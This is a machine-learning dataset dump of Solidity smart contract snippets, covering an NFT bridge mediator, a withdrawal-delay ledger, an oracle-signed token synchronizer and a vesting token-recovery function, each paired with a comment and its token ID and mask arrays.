token from the other side. * @return token name for this side of the bridge. */ function _transformName(string memory _name) internal view returns (string memory) { string memory result = string(abi.encodePacked(_name, SUFFIX)); uint256 size = SUFFIX_SIZE; assembly { mstore(result, add(mload(_name), size)) } return result; } } // File: contracts/upgradeable_contracts/omnibridge_nft/components/common/GasLimitManager.sol pragma solidity 0.7.5; /** * @title GasLimitManager * @dev Functionality for determining the request gas limit for AMB execution. */ abstract contract GasLimitManager is BasicAMBMediator { bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit")) /** * @dev Sets the default gas limit to be used in the message execution by the AMB bridge on the other network. * This value can't exceed the parameter maxGasPerTx defined on the AMB bridge. * Only the owner can call this method. * @param _gasLimit the gas limit for the message execution. */ function setRequestGasLimit(uint256 _gasLimit) external onlyOwner { _setRequestGasLimit(_gasLimit); } /** * @dev Tells the default gas limit to be used in the message execution by the AMB bridge on the other network. * @return the gas limit for the message execution. */ function requestGasLimit() public view returns (uint256) { return uintStorage[REQUEST_GAS_LIMIT]; } /** * @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network. * @param _gasLimit the gas limit for the message execution. */ function _setRequestGasLimit(uint256 _gasLimit) internal { require(_gasLimit <= maxGasPerTx()); uintStorage[REQUEST_GAS_LIMIT] = _gasLimit; } } // File: contracts/upgradeable_contracts/omnibridge_nft/ForeignNFTOmnibridge.sol pragma solidity 0.7.5; /** * @title ForeignNFTOmnibridge * @dev Foreign side implementation for multi-token ERC721 mediator intended to work on top of AMB bridge. * It is designed to be used as an implementation contract of EternalStorageProxy contract. */ contract ForeignNFTOmnibridge is BasicNFTOmnibridge, GasLimitManager { constructor(string memory _suffix) BasicNFTOmnibridge(_suffix) {} /** * @dev Stores the initial parameters of the mediator. * @param _bridgeContract the address of the AMB bridge contract. * @param _mediatorContract the address of the mediator contract on the other network. * @param _requestGasLimit the gas limit for the message execution. * @param _owner address of the owner of the mediator contract. * @param _image address of the ERC721 token image. */ function initialize( address _bridgeContract, address _mediatorContract, uint256 _requestGasLimit, address _owner, address _image ) external onlyRelevantSender returns (bool) { require(!isInitialized()); _setBridgeContract(_bridgeContract); _setMediatorContractOnOtherSide(_mediatorContract); _setRequestGasLimit(_requestGasLimit); _setOwner(_owner); _setTokenImage(_image); setInitialize(); return isInitialized(); } /** * @dev Internal function for sending an AMB message to the mediator on the other side. * @param _data data to be sent to the other side of the bridge. * @param _useOracleLane always true, not used on this side of the bridge. * @return id of the sent message. */ function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) { (_useOracleLane); return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit()); } }
* @dev Allows to send to the other network some ERC721 token that can be forced into the contract without the invocation of the required methods. (e. g. regular transferFrom without a call to onERC721Received) Before calling this method, it must be carefully investigated how imbalance happened in order to avoid an attempt to steal the funds from a token with double addresses. @param _token address of the token contract. @param _receiver the address that will receive the token on the other network. @param _tokenId unique id of the bridged token./
function fixMediatorBalance( address _token, address _receiver, uint256 _tokenId ) external onlyIfUpgradeabilityOwner { require(isRegisteredAsNativeToken(_token)); require(!mediatorOwns(_token, _tokenId)); require(IERC721(_token).ownerOf(_tokenId) == address(this)); _setMediatorOwns(_token, _tokenId, true); bytes memory data = _prepareMessage(_token, _receiver, _tokenId); bytes32 _messageId = _passMessage(data, true); _recordBridgeOperation(_messageId, _token, _receiver, _tokenId); }
13,489,635
[ 1, 19132, 358, 1366, 358, 326, 1308, 2483, 2690, 4232, 39, 27, 5340, 1147, 716, 848, 506, 13852, 1368, 326, 6835, 2887, 326, 9495, 434, 326, 1931, 2590, 18, 261, 73, 18, 314, 18, 6736, 7412, 1265, 2887, 279, 745, 358, 603, 654, 39, 27, 5340, 8872, 13, 11672, 4440, 333, 707, 16, 518, 1297, 506, 7671, 4095, 2198, 25999, 690, 3661, 709, 12296, 17497, 316, 1353, 358, 4543, 392, 4395, 358, 18654, 287, 326, 284, 19156, 628, 279, 1147, 598, 1645, 6138, 18, 225, 389, 2316, 1758, 434, 326, 1147, 6835, 18, 225, 389, 24454, 326, 1758, 716, 903, 6798, 326, 1147, 603, 326, 1308, 2483, 18, 225, 389, 2316, 548, 3089, 612, 434, 326, 324, 1691, 2423, 1147, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2917, 13265, 10620, 13937, 12, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 1758, 389, 24454, 16, 203, 3639, 2254, 5034, 389, 2316, 548, 203, 565, 262, 3903, 1338, 2047, 10784, 2967, 5541, 288, 203, 3639, 2583, 12, 291, 10868, 1463, 9220, 1345, 24899, 2316, 10019, 203, 3639, 2583, 12, 5, 17113, 3494, 2387, 24899, 2316, 16, 389, 2316, 548, 10019, 203, 3639, 2583, 12, 45, 654, 39, 27, 5340, 24899, 2316, 2934, 8443, 951, 24899, 2316, 548, 13, 422, 1758, 12, 2211, 10019, 203, 203, 3639, 389, 542, 13265, 10620, 3494, 2387, 24899, 2316, 16, 389, 2316, 548, 16, 638, 1769, 203, 203, 3639, 1731, 3778, 501, 273, 389, 9366, 1079, 24899, 2316, 16, 389, 24454, 16, 389, 2316, 548, 1769, 203, 3639, 1731, 1578, 389, 2150, 548, 273, 389, 5466, 1079, 12, 892, 16, 638, 1769, 203, 3639, 389, 3366, 13691, 2988, 24899, 2150, 548, 16, 389, 2316, 16, 389, 24454, 16, 389, 2316, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.6.0 <0.7.0; /// @title A ledger data structure for phoenix /** @notice This ledger keeps previous transaction requests, which can either be withdrawn after a certain amount of blocks have passed, or canceled. */ /// @author Uri Kirstein /// @dev Phoenix is responsible for access control and funds control. library LedgerLib { uint constant NULL = 0; ///@notice A single money transfer request record from Phoenix struct Request { address initiator; //The Tier 2 user address that initiated this transaction address payable recipient; //The address to which the money will be sent uint amount; //How much money to transfer, in wei uint block_created; //Block number in creation. Used as a time stamp uint ID; //A unique identifier of the transaction uint next; // The next record in chronological order uint prev; // The previous record in chronological order } /// @notice The data structure that keeps transaction requests struct Ledger { mapping(uint => Request) records; uint delay; //How many blocks need to pass between request and withdrawal uint total_commitments; //Total value of all requests in wei. Prevents overbooking uint length; //Number of transactions in the ledger uint capacity; //Max # of records uint nonce; //Used for transaction ID generation uint last_erasure_id; //Ids smaller than this number will be ignored uint newest; //id of newest record, head of the list } /// @notice Initializes the data structure. /// @dev Called from Phoenix's constructor /// @param self address of the LedgerLib instance /// @param capacity maximal number of transaction records in storage, positive /** @param delay minimal amount of blocks that must pass between transaction request and withdrawal. Must be positive*/ function initLedger (Ledger storage self, uint capacity, uint delay) public { require(delay > 0, "The number of blocks for the delay must be positive"); require(capacity > 0, "capacity must be positive"); self.delay = delay; self.capacity = capacity; self.nonce = 1; /* All fields below will get value equal to byte code zero: self.total_commitments = 0; self.length = 0; self.newest = NULL; self.last_erasure_id = 0; */ } /// @notice Adds a new transaction record. reverts if amount is zero, or if the ledger is full /// @param self address of the LedgerLib instance /// @param recipient address to which the money will be transfered /// @param amount how much money to transfer in wei, must be positive /// @param sender address of the requester. Used for deletion identification /// @return added - true if a new record was added, false otherwise (Phoenix was full) /// @return id - given transaction ID number, irrelevant if added is false /// @dev Vault/User must check that phoenix.balance > this.total_commitments + amount function addRequest ( Ledger storage self, address payable recipient, uint amount, address sender) public returns (bool added, uint id) { require(amount > 0, "amount is zero"); // Nothing to pay if (self.length >= self.capacity) return (false, 0); //Ledger is full. Will be equal // Create new transaction object Request memory new_tran; new_tran.amount = amount; new_tran.initiator = sender; new_tran.recipient = recipient; new_tran.block_created = block.number; new_tran.ID = self.nonce; new_tran.prev = self.newest; // Below line happens for free // new_tran.next = NULL; //Add transaction to records if (self.newest != NULL) { self.records[self.newest].next = new_tran.ID; } self.newest = new_tran.ID; self.records[new_tran.ID] = new_tran; //update state self.total_commitments += amount; self.length++; self.nonce++; return (true, new_tran.ID); } /// @notice Empties the records /// @param self - address of the LedgerLib instance function clearAllPayments(Ledger storage self) public { self.length = 0; self.total_commitments = 0; self.newest = NULL; self.last_erasure_id = self.nonce; } /** @notice removes a transaction with a given id from records, even if it is not ready for withdrawal */ /// @param self address of the LedgerLib instance /// @param id the unique identifier of the transaction you want to cancel /// @return amount - the wei value of the deleted transaction. 0 if ID not found function cancelTransactionById(Ledger storage self, uint id) public returns (uint amount) { return deleteTransactionById(self, id); } /** @notice removes a transaction with a given id from records, even if it is not ready for withdrawal but only if given address is the transaction's initiator's address */ /// @dev Vault must pass the correct address /// @param self address of the LedgerLib instance /// @param id the unique identifier of the transaction you want to cancel /// @param initiator the address of the transaction's initiator /// @return result 0 if succeeded, 1 if ID not found, 2 if wrong initiator address /// @return amount - the wei value of the deleted transaction. 0 if ID not found function cancelTransactionIfInitiator( Ledger storage self, uint id, address initiator ) public returns (int result, uint amount){ if (self.records[id].ID == NULL) return (1, 0); if (self.records[id].initiator != initiator) return (2, 0); uint _amount = deleteTransactionById(self, id); if (_amount == 0) return (1, _amount); return (0, _amount); } /// @notice Removes a transaction by a given id if it is old enough to be withdrawn /// @dev this will remove the transaction from the records, but Phoenix has to transfer money /// @param self address of the LedgerLib instance /// @param id the unique identifier of the transaction you want to cancel /// @return result - 0 is success, 1 transaction not found, 2 transaction not old enough /// @return amount - the wei value of the deleted transaction. 0 if ID not found /// @return recipient - the recieving address of the deleted transaction. 0 if ID not found function commitPayment(Ledger storage self, uint id) public returns ( uint result, uint amount, address payable recipient) { if (self.records[id].ID == NULL) return (1, 0, address(0)); if (self.records[id].block_created + self.delay > block.number) return (2, 0, address(0)); address _recipient = self.records[id].recipient; uint _amount = deleteTransactionById(self, id); if (_amount == 0) return (1, _amount, payable(_recipient)); return (0, _amount, payable(_recipient)); } /// @notice removes all transactions that were initiated with the given address, ignoring age /// @dev used by Tier1 when Tier2 is stolen /// @param self address of the LedgerLib instance /// @param initiator the address of the initiator you want to delete the records of /// @return num_deletions the number of transactions deleted function cancelAllByInitiator(Ledger storage self, address initiator) public returns (uint num_deletions) { uint result = 0; uint curr_id = self.newest; while (curr_id != NULL) { uint prev_id = self.records[curr_id].prev; if (self.records[curr_id].initiator == initiator){ deleteTransactionById(self, curr_id); result++; } curr_id = prev_id; } return result; } /////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////Internal functions///////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////// /** @notice removes a transaction with a given id from records, ignoring all conditions: - even if it is not old enough for withdrawal - ignores initiator */ /// @param id the unique identifier of the transaction you want to cancel /// @return amount - the wei value of the deleted transaction. 0 if ID not found function deleteTransactionById(Ledger storage self, uint id) internal returns (uint amount) { if (id < self.last_erasure_id || id == NULL || id >= self.nonce) return 0; Request memory candidate = self.records[id]; uint result = candidate.amount; uint next_node_id = candidate.next; uint prev_node_id = candidate.prev; bool next_exists = next_node_id != NULL; bool prev_exists = prev_node_id != NULL; if (next_exists && prev_exists) { self.records[next_node_id].prev = prev_node_id; self.records[prev_node_id].next = next_node_id; } else if (next_exists) { // We removed the oldest node self.records[next_node_id].prev = NULL; } else if (prev_exists) { // We remove the newest node assert(self.newest == id); // Remove this when verification is successful self.records[prev_node_id].next = NULL; self.newest = prev_node_id; } else { // We removed the only node assert(self.newest == id); // Remove this when verification is successful self.newest = NULL; } self.length--; self.total_commitments -= candidate.amount; delete self.records[id]; return result; } }
id of newest record, head of the list
uint newest;
7,321,104
[ 1, 350, 434, 19824, 1409, 16, 910, 434, 326, 666, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 19824, 31, 2868, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Be name Khoda // Bime Abolfazl // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/access/AccessControl.sol"; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface Registrar { function totalSupply() external view returns (uint256); function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } contract Synchronizer is AccessControl { // roles bytes32 public constant ORACLE_ROLE = keccak256("ORACLE_ROLE"); bytes32 public constant FEE_WITHDRAWER_ROLE = keccak256("FEE_WITHDRAWER_ROLE"); bytes32 public constant COLLATERAL_WITHDRAWER_ROLE = keccak256("COLLATERAL_WITHDRAWER_ROLE"); bytes32 public constant REMAINING_DOLLAR_CAP_SETTER_ROLE = keccak256("REMAINING_DOLLAR_CAP_SETTER_ROLE"); // variables uint256 public minimumRequiredSignature; IERC20 public collateralToken; uint256 public remainingDollarCap; uint256 public scale = 1e18; uint256 public collateralScale = 1e10; uint256 public withdrawableFeeAmount; // events event Buy(address user, address registrar, uint256 registrarAmount, uint256 collateralAmount, uint256 feeAmount); event Sell(address user, address registrar, uint256 registrarAmount, uint256 collateralAmount, uint256 feeAmount); event WithdrawFee(uint256 amount, address recipient); event WithdrawCollateral(uint256 amount, address recipient); constructor ( uint256 _remainingDollarCap, uint256 _minimumRequiredSignature, address _collateralToken ) { remainingDollarCap = _remainingDollarCap; minimumRequiredSignature = _minimumRequiredSignature; collateralToken = IERC20(_collateralToken); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(FEE_WITHDRAWER_ROLE, msg.sender); _setupRole(COLLATERAL_WITHDRAWER_ROLE, msg.sender); } function setMinimumRequiredSignature(uint256 _minimumRequiredSignature) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); minimumRequiredSignature = _minimumRequiredSignature; } function setCollateralToken(address _collateralToken) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); collateralToken = IERC20(_collateralToken); } function setRemainingDollarCap(uint256 _remainingDollarCap) external { require(hasRole(REMAINING_DOLLAR_CAP_SETTER_ROLE, msg.sender), "Caller is not a remainingDollarCap setter"); remainingDollarCap = _remainingDollarCap; } function sellFor( address _user, uint256 multiplier, address registrar, uint256 amount, uint256 fee, uint256[] memory blockNos, uint256[] memory prices, uint8[] memory v, bytes32[] memory r, bytes32[] memory s ) external { uint256 price = prices[0]; address lastOracle; for (uint256 index = 0; index < minimumRequiredSignature; ++index) { require(blockNos[index] >= block.number, "Signature is expired"); if(prices[index] < price) { price = prices[index]; } address oracle = getSigner(registrar, 8, multiplier, fee, blockNos[index], prices[index], v[index], r[index], s[index]); require(hasRole(ORACLE_ROLE, oracle), "signer is not an oracle"); require(oracle > lastOracle, "Signers are same"); lastOracle = oracle; } //--------------------------------------------------------------------------------- uint256 collateralAmount = amount * price / (scale * collateralScale); uint256 feeAmount = collateralAmount * fee / scale; remainingDollarCap = remainingDollarCap + (collateralAmount * multiplier); withdrawableFeeAmount = withdrawableFeeAmount + feeAmount; Registrar(registrar).burn(msg.sender, amount); collateralToken.transfer(_user, collateralAmount - feeAmount); emit Sell(_user, registrar, amount, collateralAmount, feeAmount); } function buyFor( address _user, uint256 multiplier, address registrar, uint256 amount, uint256 fee, uint256[] memory blockNos, uint256[] memory prices, uint8[] memory v, bytes32[] memory r, bytes32[] memory s ) external { uint256 price = prices[0]; address lastOracle; for (uint256 index = 0; index < minimumRequiredSignature; ++index) { require(blockNos[index] >= block.number, "Signature is expired"); if(prices[index] > price) { price = prices[index]; } address oracle = getSigner(registrar, 9, multiplier, fee, blockNos[index], prices[index], v[index], r[index], s[index]); require(hasRole(ORACLE_ROLE, oracle), "Signer is not an oracle"); require(oracle > lastOracle, "Signers are same"); lastOracle = oracle; } //--------------------------------------------------------------------------------- uint256 collateralAmount = amount * price / (scale * collateralScale); uint256 feeAmount = collateralAmount * fee / scale; remainingDollarCap = remainingDollarCap - (collateralAmount * multiplier); withdrawableFeeAmount = withdrawableFeeAmount + feeAmount; collateralToken.transferFrom(msg.sender, address(this), collateralAmount + feeAmount); Registrar(registrar).mint(_user, amount); emit Buy(_user, registrar, amount, collateralAmount, feeAmount); } function getSigner( address registrar, uint256 isBuy, uint256 multiplier, uint256 fee, uint256 blockNo, uint256 price, uint8 v, bytes32 r, bytes32 s ) pure internal returns (address) { bytes32 message = prefixed(keccak256(abi.encodePacked(registrar, isBuy, multiplier, fee, blockNo, price))); return ecrecover(message, v, r, s); } function prefixed( bytes32 hash ) internal pure returns(bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } //--------------------------------------------------------------------------------------- function withdrawFee(uint256 _amount, address _recipient) external { require(hasRole(FEE_WITHDRAWER_ROLE, msg.sender), "Caller is not a FeeWithdrawer"); withdrawableFeeAmount = withdrawableFeeAmount - _amount; collateralToken.transfer(_recipient, _amount); emit WithdrawFee(_amount, _recipient); } function withdrawCollateral(uint256 _amount, address _recipient) external { require(hasRole(COLLATERAL_WITHDRAWER_ROLE, msg.sender), "Caller is not a CollateralWithdrawer"); collateralToken.transfer(_recipient, _amount); emit WithdrawCollateral(_amount, _recipient); } } //Dar panah khoda
---------------------------------------------------------------------------------
uint256 collateralAmount = amount * price / (scale * collateralScale);
5,516,399
[ 1, 28253, 17, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 11890, 5034, 4508, 2045, 287, 6275, 273, 3844, 380, 6205, 342, 261, 5864, 380, 4508, 2045, 287, 5587, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xd95361ff0DE4e98f753e9e886596E45a128275bC/sources/project:/contracts/TransparentDontacion.sol
Create a new project.
Project storage newProject = projects.push();
5,019,977
[ 1, 1684, 279, 394, 1984, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 5420, 2502, 394, 4109, 273, 10137, 18, 6206, 5621, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xCfAD7aeb67FC5c19a581496689881AE063541149/sources/browser/token-vesting-lock.sol
function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyLegacyERC20Tokens(address tokenContractAddress, address tokenRecipient, uint amount) external onlyOwner { require(tokenContractAddress != tokenAddress || now > deployTime.add(lockDuration), "Cannot transfer out locked tokens yet!"); LegacyToken(tokenContractAddress).transfer(tokenRecipient, amount); }
3,145,256
